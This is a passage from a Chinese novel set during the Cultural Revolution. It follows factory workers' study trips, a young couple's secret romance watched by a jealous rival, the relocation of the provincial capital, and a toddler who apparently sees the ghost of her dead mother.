革命要抓,生产同样也要搞。国家交给的任务一样都不能少。郑弘山他们厂单晶硅车间的生产已经属于政治任务。单晶硅的生产在中国发展短短的还不到10年。属于高端产品。第一枚单晶硅硅棒是在1959年北京601实验室里拉制成功。到目前为止生产量一直很小,并且要达到9个9品质单晶硅的数量难以满足国家的需求。于是为了满足国家的需要,郑弘山他们厂成立了单晶硅车间。更好的尽快的生产出合格的国家需要的产品。郑弘山他们决定去北京601实验室参观学习取经。 这一次学习取经由郑弘山亲自带队。随行成员他选了两个人。一个是单晶硅车间主任王浩。另一个就是二凤张文凤。 如果放在以前的话,郑弘山亲自拍板决定就可以了。现在他需要请示军代表。来他们厂的军代表叫王文清。营级干部,河南人。说话自然也是乡音未改河南腔调。个子高,人长得清瘦,眼窝深陷。双眼炯炯有神。 他对郑弘山非常的热情,两个人相处的也极好。因为郑弘山也是军人出身,转业前所在的部队和王文清是一个军。所以当王文清来到他们厂时两人便是一见如故。可谓是昔日战友今日同志。王文清派来支左,郑弘山又是厂里左派的领导。革命感情亲上加亲。 郑弘山带着王浩与张文凤来见王文清。他分别向王文清介绍了他们两个人。介绍到张文凤时,王文清打量着站在他面前的这个亭亭玉立的眨着两只灵动的大眼睛的姑娘。不住的开口称赞。又听郑弘山介绍了她在厂里的贡献,从心里赞许和喜欢。当他得知张文凤还没有转成正式工时,他思索了片刻。对郑弘山说。 “这是一个好苗子,转正的事抓紧指标办理。”又转向张文凤问道。 “写过入党申请了吗?” 张文凤立正回答。 “报告领导!写过了。再有两个月,我就是预备党员了。” 郑弘山解释道。“我们这也是响应时代的需要,革命的豪情。现在的新生事物——火线入党!” 王文清微笑的称赞道。“好呀,新生事物,革命的苗子,我们要大力扶持。小同志,你要好好的努力,好好的表现呀。不辜负党对你的期望。抓住这次外出学习的好机会。写出高质量的稿子。这次咱们争取登上省报!” 张文凤精神抖擞的立正行礼。 “领导放心,绝不辜负领导的期望。保证完成任务!” 王文清嘱咐道。“这可是政治任务。无比的艰巨啊。别把你的小身板压垮了哟?” “放心吧!领导。一定挺得住的。敬礼!”张文凤行了一个标准的军礼。 王文清一看哈哈大笑。“就看我们的小同志敬礼的样子,我就知道她一定能完成任务。” 然后王文清与郑弘山握了握手。对郑弘山说道。“出门在外可都要注意安全呢。现在全国的武斗大部分都尽管平息。但小范围的撕杀还是经常发生的。咱们出去是学技术学经验的。不要介入地方上的武斗行为。” 郑弘山微笑的点点头。“放心吧,老战友。哪头轻哪头重,我心里掂量着呢。我们也不会去太久,争取早日回来。” 二凤来找秦国颂,要把这一好消息告诉他。正巧秦国颂也要告诉二凤一个好消息。 秦国颂对她说。领导上已决定派他和王春梅一起去天津购买显像管和其他的本地买不到的另部件。并且说到电视机的其他的线路部分,他们都已经组装的差不多了。就差显像部分。本来是想着先完成显像部分再解决其他的部分。但是前一阵子武斗这么剧烈。各个部门的工作都已经无法正常运转。他们电视机的组装工作也只能搁置等待。现在目前的形势比较缓解了。领导决定让他们明天去天津。 一个人要去北京,一个人要去天津。这本来是张文凤和秦国颂都高兴的事。然而两个人听到消息后都沉默了。二凤率先打破僵局。 “你和那个女技术员一起去?就你们两个人吗?” 秦国颂没有回答。反问道:“你们去北京几个人?” 二凤把脸扭到一旁:“你还没有回答我问的问题呢。” 秦国颂脖子一梗:“不是告诉你了吗?就我们两个人!” 接着又反问了一句。“你们呢?你还没有回答呢。” 二凤依旧没有正面回答。反问道:“反正不是像你们一样两个人。我们是三个人!知道了吧!” 二凤说话的口气有些强硬。好像在秦国颂面前她的理占的多一些似的。 秦国颂沉默了一会儿。略显无奈的小声的自言自语说道。“领导上也真是的,怎么就不能安排咱们俩一起去出门呢?” 二凤仍旧有些赌气的嘟囔着。 “咱们俩去干嘛?你弄的那些我都不懂,我还不是个摆链……” “单晶硅你懂吗?”秦国颂仍然心有芥蒂的说道。 “单晶硅我不懂,但是写文章我懂。我这次去,领导交代了要我写一篇高质量的文章。宣传我们独立自主,自力更生的精神。宣传工人阶级的革命豪情壮志。” “那,那电视机不也是独立自主自力更生吗?怎么就不能宣传呢?” 二凤听到这里噗嗤一声笑了。 “你的电视机与单晶硅比起来,那可就不能同日而语啦,傻帽儿” 她用手摸了一下秦国颂的头。 “今天晚上没事的话咱俩见个面……要走了,还不知道去多久呢……我给你告个别……” 秦国颂看着二凤。稳了稳加快的心跳。点了点头…… 第25章 爱情(续完) 夜晚。轻轻柔柔的飘起了雪花。秦国颂与张文凤两个人约定在厂区的活动中心附近的小花园里见面。 晚上8点不到,秦国颂提前一刻钟来到了这个小花园里。他找了一个较为偏僻的小亭子,环顾了一下附近的景色,注视着张文凤走过来的方向。 等了一会儿,依旧四周无人。没有见到张文凤的身影。他忐忑不安的在小亭子里踱着步。估摸着时间,觉着她也该来了。由于参加工作时间还不是太长,他们俩都没有买手表。时间的概念只能凭感觉。凭借着那心有灵犀的一点通。这时秦国颂又想起了他的相对论…… 然而今晚的相对论似乎有些一些故意的和他相悖。二凤是左等不来右等不来,秦国颂的心悬到了嗓子眼。他想不想决定不在这里傻等着了。缓缓的走出亭子来到了他们住的单身宿舍的楼附近。远远的他看到宿舍的楼门口灯光下站着两个人。他放慢了脚步,躲在一棵树后,看着门口的那两个人。他看清楚了,是安康和张文凤。 两个人在说着话。因离的比较远,秦国颂听不清他们说的什么,只看到安康把一个军用挎包正在给张文凤肩上挎。张文凤把挎包套在脖子上。用手拿着挎包。笑成了一朵花。在这个年代,无论是男孩子和女孩子能够得到一个军用挎包。这对他们来讲都是求之不得的奢侈品。军用挎包在这个时代简称为军跨。背上它是可以炫耀一阵子的,甚至还成为了某种身份的象征。 秦国颂躲在暗处慢慢的看着。他瞪着眼睛看着两个人的举动。只见张文凤把挎包背好。庄重的给安康行了一个军礼。安康没有还礼。只是轻轻的在她的脸蛋上用手抚摸了一下,然后笑着摆了摆手。张文凤小鸟一般的蹦跳着向与秦国颂约会的地点跑去。 她跑过躲在树后面的秦国颂。径直的向他们约会的小亭子跑去。 秦国颂慢慢的跟在后面。他心里有些混乱,想着安康抚摸张文凤脸的那只手,他觉得那只手应当是他的。没成想竟然是安康。他心里有些醋意。转念又一想,一个大哥哥安抚一下小妹妹应该也是正常了。但安康那只手在张文凤脸上抚摸了时候那个情景让秦国颂耿耿于怀。他努力想着自己说服自己,但那个情景,总是交错的在他眼前闪现。 他跟在二凤身后走到了他们约会的那个亭子。 这时他的身后也有一个人在跟着他。这个人就是安康。 安康见秦国颂走进了亭子,与二凤说着话。他躲在离那个亭子很近的一棵树后偷偷的听。 二凤先发制人的对秦国颂说。“你怎么也来的这么晚?我还以为你早在这儿呢。” 秦国颂有些悻悻然的说道。“我还以为你不来了呢?你可真忙。” 二凤仔细的看了秦国颂一眼。“看来你是早来了,对吧?” 秦国颂:“你怎么知道?” 二凤调皮的说道。“你身上的雪花出卖了你。” 秦国颂有些怏怏不悦地说道。“我也不知道,在这里差不多等了你半个小时了吧。实在等不到你,我就去周围转圈散步。没想到竟然还是你先到了。” 二凤举起手中的军跨在秦国颂面前晃了一下。“你猜,这是谁给的?” 秦国颂看了一眼那个军跨,崭崭新的还带着明显的折叠痕迹。有点醋意的说道。 “我可猜不到。谁这么大方啊!” “安康大哥给的。他说弄到这个崭新的军跨挺不容易的。说是给我明天去北京的礼物。也真是安康大哥心真细。有它出远门就方便多了。真的,这个军跨我好喜欢!” 秦国颂有些心不在焉的嗯了一声。低着头,没有做声。 二凤敏锐的察觉到了这一切。小声的问他。“你有些不高兴?” 秦国颂又心不在焉的嗯了一声。然后又转口说道。“没,没有。挺高兴的。”他不自然的给二凤露了个笑脸。“我这不是挺高兴吗?” 二凤说道。“你要高兴的话,抱我一下。” 秦国颂环顾了一下四周。有些忐忑的说道。“咱们待在这里太显眼了。飘着小雪花。四周都是白白的亮亮的。从老远就能看到这里有人。咱们躲到暗处去。” 二凤说。“外面下着雪呢。咱们躲哪儿啊。再说这两天我有点感冒。你不怕把我冻坏了呀?” 秦国颂一把抱过二凤。“你要是不怕,我才不怕呢。我早就想这样好好的抱你了……” 二凤“嗯”了一声。这是少女独有的羞涩的从嗓音深处发出来的灵魂呻吟声。她动情的一下子就抱紧了秦国颂。 这一声“嗯”,让秦国颂记了一辈子…… 秦国颂和二凤紧紧的拥抱着。秦国颂要去吻二凤。二凤躲了他一下。小声喃喃的说。“我感冒了,别传染上你……” 秦国颂把嘴递到二凤的嘴边。也小声喃喃的说。“不怕。感染不上我。我抵抗力强……别说是感冒病毒了。就是要我命的病毒我也不怕。真的,死我都不怕……” “不,不许说死,不吉利。” 二凤的眼泪涌到眼眶。用力紧紧的抱着秦国颂。深情的吻着他。 秦国颂慢慢的松开了紧抱着二凤的手。一只手缓缓的握紧了二凤的另一只手。 他觉得二凤颤抖了一下。轻柔的问道。“我的手凉吗?” 二凤摇了摇头。又点了点头。 “我给你暖手。真幸福……” 秦国颂拿过二凤的另一只手。“我也给你暖暖手。我热吗?” 二凤点点头。“真暖和。都出汗了……” 两个人忘情的抱着。此时此刻整个世界都是他们的。年轻的八九点钟的太阳一般朝气蓬勃的燃起生命的火种。此时的爱情是我们歌颂的生命之歌。纯纯的没有任何杂念的青春之歌。 他俩觉得此时此刻他们是最幸福的…… 然而这个世界上就是这样的不公平。有人幸福,就会有人不幸。 躲在树后面的安康目睹了眼前的一切。 他把他的小眼睛瞪得大大的。他觉得眼前的一切有些朦胧。摘下近视镜,用手帕擦了一下镜片。重新戴上眼前依旧是有些朦胧。他摇了摇头,不敢相信这是真的。他心里想一个小小的秦国颂魅力也实在是太大了。竟然如此的夺去了二凤的芳心。让他这样服服帖帖的由他摆布。看着二凤陶醉在幸福里的样子。他由羡慕到嫉妒。他从没有想到,也没有料到他们两个竟然成了情人。更何况二凤比秦国颂还大两岁。19岁的二凤和17岁的秦国颂竟然成了热恋情侣。他无论如何都觉得此时和二凤相依拥抱互相抚摸的应当是他。怎么着也轮不到他秦国颂…… 看着那一对沉浸的幸福之中陶醉在热恋之中的情人他忽然觉得自己在这里呆着是多余的。似乎又觉得有些不道德。沉沉的思考了一会儿。想着自己还是走开好。他转身缓缓的离开了那地方。心里竟然暗暗祝福起他们两个来。让他们两个人好好的享受幸福的时光吧。 他快走到那宿舍大楼门口的时候。忽然感觉到他的右手有些发酥发麻。哦,他想起来了,刚才就是用这只手抚摸了二凤的嫩嫩的脸颊。他伸出手放在自己的脸上轻轻着揉了揉,似乎那淡淡的青春气息还留存在手上。他忽然转身,快速向秦国颂张文凤他们正在缱绻的小亭子走去。远远的看去,两个人还在亭子里拥抱着。他大喊了一声。 “张文凤!张文凤!你在哪里?” 第26章 迁移 正在沉浸在爱情甜蜜幸福之中的一对恋人,被安康的呼喊声打乱。 二凤急忙慌乱的松开了抱住秦国颂的双手。回过头去向喊声传来的方向望去。她小声对秦国颂说。 “是安康大哥在喊我。是不是有什么事情了?我先过去看看……” 秦国颂说。“我也别在这儿了。也回宿舍吧。”接着又嘱咐二凤:“你先别出声,别回应了。你向东走,我向西走。别让他看到晚上咱俩在一起。” 二凤点点头答应着。整理了一下凌乱的头发。顺着东边的小路急匆匆的走去。 秦国颂顺着西边的小路心情沮丧的往回走。走了大约几十米的样子,影影绰绰的在飘扬的雪花中看到了一个人在那里站着。他本想绕开那个人。心里又一想,他肯定也发现我了。在空旷的厂区活动地周围一个人都没有。再躲避的话就是做贼心虚的表现了。于是他硬着头皮向那个人走去。 当他走到距离那个人四五米的远的时候。借着远处传来的光亮,他看清了,在这里站着的这个人是安康。 他赶紧热情的打招呼。 “安康大哥。你怎么一个人在这儿?吓了我一跳。” 安康见到秦国颂,有些尴尬的笑了一下。“哎呀,秦国颂啊?大晚上的你跑这干嘛来了?” 秦国颂遮遮掩掩的说道。“晚上被一个技术难题困扰到了,睡不着,出来呼吸一下新鲜空气,换换脑子,调整一下心情。” 安康假装关切的对秦国颂说道。 “我这边的这一份工作也比较重,最近又比较忙。对你们那边的工作关心的也不够。有什么难题可以给我说说。看我能不能帮你打开思路?” 秦国颂想了一下说:“就是行扫描电路这一块。原理我们倒是弄懂了。但实际操作是第一次,以前又没有弄过。理论和实际是有一段距离的……” 安康接着说道。“这个看来我也帮不上你们什么忙,我也没弄过。”他把话题一转。“哎?别在外边转悠了,下着雪赶快回去吧,别冻着。早点回去休息吧。明天你们不是还要出差去天津吗?” 秦国颂点了点头。答应着,加快步伐,他刚走了几步。就听到安康在身后问道。 “你没看见二凤吧?我有事找她。” 秦国颂回过头说道。“没有,我好几天都没有见到她了,她现在太忙。听说她明天还要跟着厂领导去北京呢。” 安康接着说道:“是的,我找她就是为了明天去北京的事儿。刚才去她宿舍找了,她没在。”然后他又略带疑问的说道。“这小丫头,大晚上的跑哪儿去了?真叫人不省心。” 秦国颂又说道。“下着雪,她不会在外面的。”他用手指了指前面的办公楼。“厂领导的办公室灯都亮着了。你去那儿看看,是不是在那里?安康大哥,我先回去了啊。” 说完,他加快了步伐向宿舍走去。 望着秦国颂离开的背影,安康有些失落的摇摇头。拿出一支烟点着深深的吸了一口。他缓缓的把烟雾吐出。心里想着秦国颂给他撒的那些谎。无奈的摇摇头。 “当初我要不把他介绍进厂就好了……现在有点搬起石头砸自己的脚啊……” 他小声的自己对自己说出了这句话。 一个月后。1968年2月。省会搬离了这座城市。这一搬迁给这座城市带来的波及面可不算小。相关机构都要跟着搬家。 省检察院,省公安厅,省法院都要跟着搬迁。尽管这些机构都被砸了,都实行了军管。但是这些人还在,他们的命运都和他们的单位在一起牵扯着。大部分人都跟着走了,只有一小部分人由于各种原因留在了本市。转入到地方相应的机构相同的系统行业里。 快到休养年纪的张子东没有随行搬迁,留在了本市,留在了他所居住的大院。同他在一个单位的大凤也没有随行搬迁。跟着他爸爸一样留在了这座大院里。省法院的黄一鸣和他的儿子黄国英及他们全家都跟着搬迁到了新的省会。黄国英与大凤两个人开始了正式的分居,与他们早已名存实亡的婚姻又拉开了一档距离。尽管是这样,黄国英还会隔三差五的周日休息的时候回到大院与大风相聚。黄一鸣全家搬走了。他们所住的这套房子暂时没有分配给合适的住户。就由张子东家暂时住着。张子东让出了原先的两间西屋。这两间西屋是事先打了隔段的独立的房间。暂时也没人住,等着待分配的新人到来。 省会机构一般走,这座大院的人员走了将近1/3。然后陆陆续续的人就搬进了这座大院,填补了空闲的房间。新搬进来的住户各行各业干什么的都有。有行政机关的,但大多数都是工厂的比较有权势的人员。新搬来的一个住户竟然还是从农村来的,听说他有一个在这个城市大型工厂里当头头的亲戚。这个亲戚把他从农村弄到了工厂,然后弄到了这座大院里住。这家在大型工厂当头头的亲戚是一个河南转业军人。尽管工厂里有军代表。但这个厂里掌握实际权力的仍然是这个造反头头,转业军人。他叫范长庚。 这个从河南农村来到这个大院的农民,现在已经是他亲戚的工厂里的一位工人了。很快就以以工代干的身份进入了中层领导阶层。这个人也姓范。叫范志勇。在厂里负责安全保卫工作。他同样也没什么文化,为人随和。面露笑容,说话小声小气。与他的亲戚范长庚极其相似。极有人缘。 范长庚拖家带小的来到了这座大院。住在外院的两间南房里,就把紧挨着他这两间南房的原先高老头住的那间耳房也占用了,他们一家六口。两个儿子两个女儿,都未成年。原先高老头居住的那间耳房由两个儿子居住。他又看到一进院门口的原先大雅的那间屋子门锁着没有人去住。就安排他的亲戚范志勇住了进去。范志勇独自一人住在原先大雅住的那间房子里。此时的社会环境依旧是乱哄哄的不稳定的局面。有点权势的人就可以随意的占用没有人住的房间。这些房子大都是归了房管部门,有权势的人通过熟人找房管部门就可以很轻易的住进去的。因为房管部门两派的争斗更乱。任何事情都是掌权的人随口说了算的。这个年代有一句典型的经典口号。无法无天! 但范长庚与范志勇似乎很懂法。也不是懂法,就是人的天性使然。他们行事低调,待人和蔼可亲。尤其是范长庚凭借着手中的一些权利。还经常给邻里们办事。邻居们和这家新来的住户相处的非常的和睦。他们有的还会去巴结范长庚,希望能给自己的孩子们找一份好的工作。 范长庚工作很忙,平时很少回家。家里有些大事小情都是由邻居们代办。邻居们也愿意给他办事,因为他们也有求于范长庚办事。这叫互相帮助,互通有无。 范志勇平时回家也少。他在厂里负责安全保卫工作。大多数时间都住在厂里。他在院里占的大雅原先住的这间房子情形基本上没有太多的变化。依旧是房门紧锁。阴阴冷冷。 然而,就在这一天,发生了一件意外的事情…… 第27章 小雅 两岁多的小雅已经成了大凤的掌上明珠。不仅只是大凤的掌上明珠,乃至成为大凤全家的宠爱的公主。 小雅太可爱了。乖巧懂事。模样越长越像大凤。以至于老检察长张子东抱着小雅乐呵呵的咧着大嘴。这哪是外孙女?分明就是我的女儿嘛。 被抱在怀里的小雅伸过小嘴去亲她的姥爷。张子东呵呵的笑:“小宝贝,再亲姥爷一下……” 大凤在一旁看。呡着嘴笑。 张子东满足的调侃着自己。“我说了多半辈子了。我就这个命。丫头的命。老天爷给的呀,我真是太知足了……” 大凤妈妈过来接过小雅。“来宝贝,跟姥姥去院里玩儿去。” 大凤妈妈抱着小雅出了屋到了户外的院子里。小雅挣脱了姥姥的怀抱。在院子里跑着玩。 院子里的那座假山被拆了一半,两年多了也没人再去理会。留下的那一半假山便有了一道斜斜的坡。更方便了孩子们上下摸爬滚打。本来是煞风景的一件事情,却给院里的孩子们增加了乐趣。 小雅跑到斜坡前,在上面爬。大凤妈妈赶紧跑过来说。“小雅!别在那玩儿,多脏啊。咱们是丫头,不跟那些小小子学,来,下来,姥姥带着你上外边玩去。” 小雅听话的下来,小手让姥姥牵着。跟着姥姥来到了外院。 一边走小雅一边对姥姥说。“姥姥,我想去街上。我想吃冰糖葫芦。” 小雅姥姥笑着说。“行呀。别说糖葫芦了。你就是想要天上的星星,姥姥都去给你摘。” 小雅眨着天真的大眼睛。“姥姥竟哄我,现在是白天哪有星星呀?” 姥姥呵呵的笑了。“那就等到夜里,姥姥去给你摘。” 就在快走到大雅曾经住的那间耳房的门口时。小雅姥姥赶紧抱过小雅。 “咱姥姥倆快点儿走……” 小雅被姥姥抱着。眼睛却盯着那间耳房的门。她忽然对她姥姥说。 “姥姥你看,那屋里有人。” 小雅姥姥回过头去看了一眼那门。那门虚掩着。只留一道窄窄的门缝。 她用手拍了拍小雅:“净瞎说,哪有人呢?” 小雅没说话。眼睛盯着门缝看。 小雅姥姥抱着小雅走出了大院门口。来到了街上。 小雅拿着姥姥给买的糖葫芦,回到了院里。过那个门口时,她又用眼睛向屋门口望了望,没有说话。碰到了在前院住的与她差不多大的男孩东东。东东看她举着糖葫芦,馋的不措眼珠的看。 小雅姥姥对小雅说。“摘一粒红果给东东吃好吗?小雅?” 小雅愉快的点头答应。对她姥姥说。 “我要和东东在这里玩一会儿。” 小雅姥姥说:“要玩儿你们到里院玩儿去,守着咱家门口近。” “唉!”小雅清脆的答应着。拉着东东进了里院。 小雅姥姥对小雅说。“你们就在这假山旁边这玩吧。都快中午了,姥姥要去做饭了。” 两个小朋友爽快的答应着。就在假山旁边玩了起来。 小雅和东东围着假山玩着捉迷藏的游戏。 大凤出来了。也加入了孩子们玩游戏的行列中。 大凤妈妈在屋里喊大凤。“快回屋来帮妈妈搭把手。这么一大家子人吃饭,我一个人忙的够呛。眼看都中午了,你也不过来帮帮我。” 大凤边答应着边回屋帮她妈妈做饭了。 过了一会儿,在外面玩捉迷藏的东东忽然哭了起来。 大凤闻声急忙从屋里跑了出来。她看见东东一个人在假山旁边哭着。“妹妹不见了。藏起来了。找不到了……” 大凤边哄着东东边围着假山找小雅。转了一圈,没有小雅的影子。于是她就喊着小雅的名字。又反方向转了一圈。还是没有小雅。心里想着,这孩子还挺会藏的。跟妈妈玩起捉迷藏了。她先是小声的叫着小雅。没有见小雅回音。继而又大声的喊了几声。还没见小雅回答。她一下子急了,撇下东东跑向外院。连声呼喊着小雅的名字,仍不见小雅回答。她快步的向院外的门口走去。来到原先大雅住的那家屋的门前。门开了一个缝。她走到门前敲了几下门。里面没人应答。她轻轻的推开了门。看见小雅在屋里的地上坐着,小雅背对着屋门,脸向着屋内那面能看到桑树的窗户。她赶紧跑过去抱起了小雅,又气又急的说。 “你怎么一个人跑到这里来了?这么着急的找你都找不到。都快把妈妈急死了!” 小雅瞪着大大的眼睛看着大凤,小嘴撇了撇了。哇的一声哭了…… 大风赶紧的哄小雅:“好宝贝,别哭了啊。以后不许到这屋来了啊?” 她抱起小雅就往屋门外走。这时住在这屋的新主人范志勇回来了。 范志勇先是一愣。微笑的问道。“哦,我们忘了锁了。好几天没回来了。昨天晚上回来一下。早上去上班,匆匆忙忙的忘了锁门了。快中午了才想起来,这不赶紧回来锁门……” 大凤赶紧歉意的对范志勇说。“对不住了兄弟。你这门没锁,我家孩子跑你这屋来了。我这不是过来找她。不好意思了啊。” 范志勇微笑着摆了摆手。“没事的大姐。我要知道你们在我这屋里,我就不回来了。有人给我看着我多放心呀。再说这屋里又没什么值钱的东西。” 大凤抱着小雅边走边说:“快把门锁上了,兄弟。你要中午没吃饭的话,到我们家去吃吧。” 范志勇客气的说道。“不了,不麻烦你们了。我还要赶紧的回单位呢,单位好些个事情了。” 说完他随手锁了门。又对大凤说道。“都是邻居,以后空闲到我这里来玩儿吧?” 大凤答应着抱着小雅回家走。边走边问小雅。 “你怎么跑到这屋来了?嗯?” 小雅的大眼睛里仍旧还含着泪花。 “我看到这屋里有人,才过来的。” “什么?你看到什么了?有人?人在哪儿?”大凤惊讶的问道。 小雅又撇了撇小嘴儿。“是有人嘛,姥姥带着我出去买糖葫芦的时候我就看到了。刚才我在屋里坐着,看到那人在窗外的树上。” 吓得大风汗毛都竖起来了。 “我的妈呀!我怎么没看到?” 也许我也是压根没有注意,我的注意力都在孩子身上了。大凤自己安慰自己的想着。她又问小雅。 “你看到的那个人长什么样啊?是叔叔呢?还是阿姨呀?” 小雅咧开小嘴笑了。“是一个漂亮的阿姨……” 大凤吓得魂都出来了。我的天哪。她可不敢再问了…… 她忽然想到了秦国颂。有一大阵子没见到他了。对,还有二凤。我要去找他们。对他们讲…… 第28章 小雅(续) 大凤抱了小雅回到了家中。看到妈妈正在准备家中的午饭。大凤母亲看着大凤抱着小雅进了家门。忙问道。 “她跑哪儿去了这么半天才回来?” 大凤支支吾吾的回答。 “跑前院去了。这小丫头腿真快。快跑到院里的大门口了。幸亏我赶得及时……” 大凤母亲应了一声。“可要把她看管好了。跑到街上再给跑丢了就麻烦了。好了,快叫你爸爸他们吃饭吧。” 大凤没有给家里的人说小雅的情况。匆匆忙忙的吃了几口饭。心里想着小雅说的那些事情。心有余悸的放下碗筷。对她妈妈说道:“我不太饿,不吃了。去我那屋歇会儿。小雅这孩子真不让人省心。可要把她看管好了,不能让她乱跑了……” 她又嘱咐了小雅几句。告诉她现在外面很乱,不要乱跑。跑丢了,妈妈会急死的…… 小雅瞪着大眼睛,点着头。 大凤回到自己的屋中,看了看钟点。心里想着,去无线电厂找秦国颂和二凤。 秦国颂和王春梅从天津买回了显像管。正在制作显像单元的相关的电路。在食堂吃完了中午饭。他就跑回了设计室,埋着头,仔细的缠绕着显眼管上面的偏转线圈。偏转线圈在市面上买不到,要自己亲手制作。制作马鞍行的偏转线圈可不是一件轻松的事情。要先制作一个胎具,在这个胎具上缠绕才可以。 他正在数着圈数。大凤进来找他了。 他头也没抬把圈数记到了纸上。然后站起来惊讶的看着大凤。 “凤姐,你怎么来了?” 大凤有些紧张的看着秦国颂。“我来的真巧,你这没人,我有话要跟你说!” 秦国颂看着大凤。“什么事儿啊?看你的神色有些慌乱……” 大凤稳了稳情绪。“是这么回事儿。没把我吓死!小雅今天上午跑到大雅屋里去了……” 秦国颂不解的问道。“那又怎么了?那屋里不是有人住着吗?” 大凤结结巴巴的说。“住的那人没在上班去了,就小雅一个人跑他.他屋里去了。” “嗯,嗯,后来呢……” “我急急火火的跑了去找到小雅。看到小雅正在屋里地上坐着。脸冲着那个窗户……就是大雅死在那个窗户上的那个……”大凤语言都有些乱了。 “别着急,大凤姐。你慢慢说……” 大凤停顿了一下,咽了一下口水。 “我赶忙把小雅抱起来。问她来这屋干什么?她指了指窗户没有说话。我赶紧抱着她出了屋。正巧这时新搬来的那人回来了……”大凤又接着说道。 “那人去上班忘了锁屋子了。又跑回来锁了。看到了我们……” “到底发生了什么?大凤姐。你都快把人急死了。” 大凤接着说道。“我赶紧抱着小雅往家走。一边走一边问她,到这儿来干什么?你,你猜不到小雅说什么?” 秦国颂死死的盯着大风,没有出声。 大凤又看了一眼秦国颂:“她。她说在屋里她看到了一个人。还,还是个女的。就在那个窗户外面的桑树上坐着……啊?你说她不会看到大雅了吧?!” 大凤这一说,着着实实的把秦国颂也吓了一跳。他转念又一想,稳了稳情绪。 “两岁多的小孩子。应当不会是瞎说。她是不是看的不准呢?也没准外面就有个人在桑树上坐着呢。不过也是,大冬天的谁跑在那树上坐着呢?不会是院里的孩子们吧,跑到树上去玩。” “不是孩子。我问小雅了。她说是个阿姨。还是个挺漂亮的阿姨。后来又说阿姨长得像我……吓死我了……她说的不会是大雅吧!” 秦国颂半晌都没有说话。他有些相信大凤说的这些话了。但是他没有办法解释这些话里面的蹊跷。他只是故作镇定的给大凤说。 “凤姐,这也许是偶然的。小孩子说话,也别全信她的。以后把她看紧了就是了,尽可能的别让她去那屋了。这事儿呢,咱们也先别跟人说,这可是封建迷信。传出去,让人抓住咱们的把柄,会挨批斗的。你不用紧张,不用胆小。没事的,这只能是偶然的,不是必然的。” 接着他又安慰的说道。“我找一找关于这方面的心理方面的哲学书看一看。我也弄不清是哪方面的。能从哲学里面找一找答案。在西方哲学书里经常提到这些事情的。但是我没太注意,我再留意的找一下,看看有没有这方面的详细的论述或者解释。好吗?凤姐。” 大凤慢慢的松缓了紧张的情绪。 “好吧。我也是这么长时间没见到你了,挺想的……挺想见见你。见着你了,心也就安定了。我去找二凤,看看她。” 秦国颂噗嗤一声笑。“你去吧,未必你能找得到。现在二凤可是大忙人呢。厂里的红人。市里的红人。我们在一个厂都很难见面呢。”他把话题一转:“实在找不到,你去问安康大哥。安康大哥挺清楚她的行踪的……” 大凤点着头笑着说道。“好了,我先去了。刚才跟你说的那事,你可以好好给我找答案呀?!” 秦国颂笑笑点了点头,送大凤出了屋。 大凤走了以后。秦国颂一个人默默的想着刚才大凤说的那些话。这事儿是真的呢,还是假的呢?要说是真的吧,没有什么科学依据。说是假的吧,一个小孩子怎么可能平白无故的瞎说呢?还有是什么勾引着孩子跑去那屋子呢?难道真的是有灵魂?什么东西在连着这母女二人。他试探着从相对论里找从量子物理学找。但都没有找到现成的解释。他觉得还是应当从哲学方面人的进化方面人的意识与存在方面这里找一找答案。但转念又理想,即使找到了答案,又有什么用呢?拿这些答案说给大凤听。第一她可能听不明白,第二就是听明白了也解决不了什么问题。秦国颂想了想,决定先不想了,先把偏转线圈缠绕完了再说。 晚上,他回了趟家。先看了看门口原先大雅住的那间房。房门锁着。新搬来的主人没在家。于是他向自己的家里走去。 我先去看了看他的父亲秦义辉。老爷子非常高兴的与他打个招呼。问了几句他厂里的事情。然后有些不满意的对他讲。 “你进工厂这有些是走后门的嫌疑。现在反对走后门。不过也是,临时工嘛。上班干活总比在家里闲呆着好。记住了,要常回来看看。别把家忘了。” 秦国颂答应着。走向秦义辉的书架。翻着书架上的书。他要找几本关于对大凤提出的问题能够解释的书籍。 他找了两三本书。拿在手里对秦义辉说:“来你这里借两本书。给你打借条。下星期还你。” 老爷子点了点头。嘱咐他说。“只能自己看,不能借给别人。晓的吗?” 秦国颂点了点头,拿着书去他妈妈那屋了。 秦国颂回到单位。在宿舍里他躺在床上。手里拿着带回来的书随意的翻看。忽然他脑子里闪现出这样的想法。以前听老人们说过。有一些事情,成年的人看不到,小孩子能看到。小孩子眼睛清,眼睛亮。他们有时能看到成年人看不到的东西。 他仔细的琢磨了这个眼睛“亮”到底是什么?他要在哲学里在进化里在逻辑里找到这个答案。 秦国颂找到了这样的答案。 在生理学上有一种现象叫“返祖现象”人类有一种原始的状态。 正常的人也就是说成年人随着大脑皮层的发育,长大后就可以通过获得的较少的信息量就可以理性整顿作出判断。人类为了节省生物能量,在进化的过程中就会自动的把多余的感知灵敏度消除掉,所以人类的感官灵敏度比动物要低得多,比如鹰的视觉狗的嗅觉等等比人类的感官灵敏度就要高得多。由于人类在幼儿阶段大脑皮层没有充分发育,特别是在两岁前,理性状态没有完全训练,他们的感知度就会相应的比较高。这种现象在生理学上叫做“返祖现象”。 幼儿远高于成人的感知能力,其实这是人类的一个更原始的状态…… 秦国颂看到这里,进而又联想到,为什么小孩子容易看到所谓的“鬼”的问题,是不是就有了这样一种可能性。那就是因为返祖现象而拥有超强感知能力的幼儿。有可能看到那些存在于常人与仪器感知范围之外的生命体。 随着年龄的增长,逻辑能力理解能力的提高,人们的这种返祖感知灵敏度过高的功能,都会逐步的丧失掉。还有的就是个别人还会把这种返祖功能保留到成年。这种人通常是深山老林里受文化教育程度比较低的人,才能比较容易保持这种功能。 秦国颂似乎找到了答案。这答案是正确的吗?如果是正确的话。那小雅说的话一定是真的。他看到了我们成年人没有看到东西…… 小雅看到的那个人真的是大雅? 这让秦国颂的心抽紧了一下。他暗暗的思索决定,先不把这个答案告诉大凤…… 第29章 小雅(续) 今天是星期天。黄国英从省会回来了。他回了家,见到大凤。大凤把小雅的事情说给黄国英听。 黄国英听完了大凤的讲述。思索着这事情的真伪程度。片刻,他问大凤。 “你对秦国颂讲了,他怎么回答的你?” 大凤说。“都两三天了,我都没见到他。他在厂里很忙。不知道今天星期天他休息没休息,在不在家。还有二凤都忙成市里的大名人了。整天不着个家。” 黄国英说。“我先去秦国颂家看看,看看他在不在家。要不然咱俩一起去?” 大凤点了点头,跟着黄国英来到秦国颂的家里。 秦义辉热情地迎接了他们俩。把他们让到他屋里坐。拿出糖果给大凤吃。 